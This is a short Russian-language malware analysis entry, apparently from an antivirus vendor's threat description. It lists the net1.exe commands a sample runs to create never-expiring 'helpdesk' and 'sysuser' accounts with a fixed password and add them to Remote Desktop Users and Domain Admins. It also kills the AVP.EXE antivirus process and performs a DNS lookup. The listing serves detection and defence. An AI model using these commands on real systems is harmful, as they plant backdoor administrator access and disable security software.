Техническая информация
Вредоносные функции:
Запускает на исполнение:
- '<SYSTEM32>\net1.exe' localgroup "remote desktop users" helpdesk /add
- '<SYSTEM32>\net1.exe' localgroup %USERNAME%s helpdesk /add
- '<SYSTEM32>\net1.exe' user helpdesk 1ASDqwe /expires:never /add
- '<SYSTEM32>\net1.exe' group "domain admins" helpdesk /add
- '<SYSTEM32>\net1.exe' user helpdesk 1ASDqwe
- '<SYSTEM32>\net1.exe' user helpdesk /expires:never
- '<SYSTEM32>\net1.exe' user helpdesk /active:yes
- '<SYSTEM32>\net1.exe' localgroup "remote desktop users" sysuser /add
- '<SYSTEM32>\net1.exe' localgroup %USERNAME%s sysuser /add
- '<SYSTEM32>\net1.exe' user sysuser 1ASDqwe /expires:never /add
- '<SYSTEM32>\net1.exe' group "domain admins" sysuser /add
- '<SYSTEM32>\net1.exe' user sysuser 1ASDqwe
- '<SYSTEM32>\net1.exe' user sysuser /expires:never
- '<SYSTEM32>\net1.exe' user sysuser /active:yes
Завершает или пытается завершить
следующие пользовательские процессы:
- AVP.EXE
Сетевая активность:
UDP:
- DNS ASK www.fr####r-keune.de
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
